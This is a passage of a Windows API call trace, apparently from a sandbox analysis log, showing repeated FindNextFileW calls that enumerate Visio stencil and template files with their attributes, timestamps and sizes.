hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b98b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x69b98b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEILPL_M.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7342f300, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7342f300, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEILPL_U.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafa0c00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeafa0c00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_M.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d67a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76d67a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_M.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x402bd00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x402bd00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_U.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a6a0100, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a6a0100, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_U.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f89e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9f89e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_M.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dfd8800, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dfd8800, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_M.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd5200, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xebd5200, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_U.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x805fe200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x805fe200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_U.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPLN_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPLN_U.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d0b6e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d0b6e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x3de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPS_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2694d600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2694d600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x3c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPS_U.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85249600, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85249600, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONLOG_M.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e94a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89e94a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONLOG_U.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33b1c500, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x33b1c500, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONNEC_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43310e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43310e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x34600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONNEC_U.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d5f700, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78d5f700, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x89200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUBICL_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad49b300, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad49b300, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x8ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUBICL_U.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20e6700, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb20e6700, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4ba400, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8c4ba400, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_M.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8044800, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb8044800, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_U.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdf2b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8fdf2b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_U.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91105800, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x91105800, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATMOD_M.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9372b200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9372b200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATMOD_U.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d50c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95d50c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBMODL_M.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99689300, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x99689300, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBMODL_U.VST", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfa2900, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbdfa2900, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGICON_M.VSS", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bedd00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2bedd00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGICON_U.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23e2600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd23e2600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMARC_U.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ee9c00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2ee9c00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMENG_M.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf26de500, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf26de500, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x2d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMENG_U.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf863c600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf863c600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRAWTL_M.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbc0100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRAWTL_U.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e5b00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31e5b00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_M.VSS", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2d4700, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9e2d4700, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_M.VST", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580b500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x580b500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_U.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f1fb00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa2f1fb00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_U.VST", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17625800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17625800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_M.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d39e00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4d39e00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_M.VST", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2812ce00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2812ce00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x63600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_U.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5d0600, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbe5d0600, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_U.VST", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a752800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2a752800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVCALL_M.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f39dc00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f39dc00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVCALL_U.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa7400, ftCreationTime.dwHighDateTime=0x1ca36a2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37aa7400, ftLastWriteTime.dwHighDateTime=0x1ca36a2, nFileSizeHigh=0x0, nFileSizeLow=0xf699f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV_M.VTX", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa7400, ftCreationTime.dwHighDateTime=0x1ca36a2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37aa7400, ftLastWriteTime.dwHighDateTime=0x1ca36a2, nFileSizeHigh=0x0, nFileSizeLow=0xef20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV_U.VTX", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 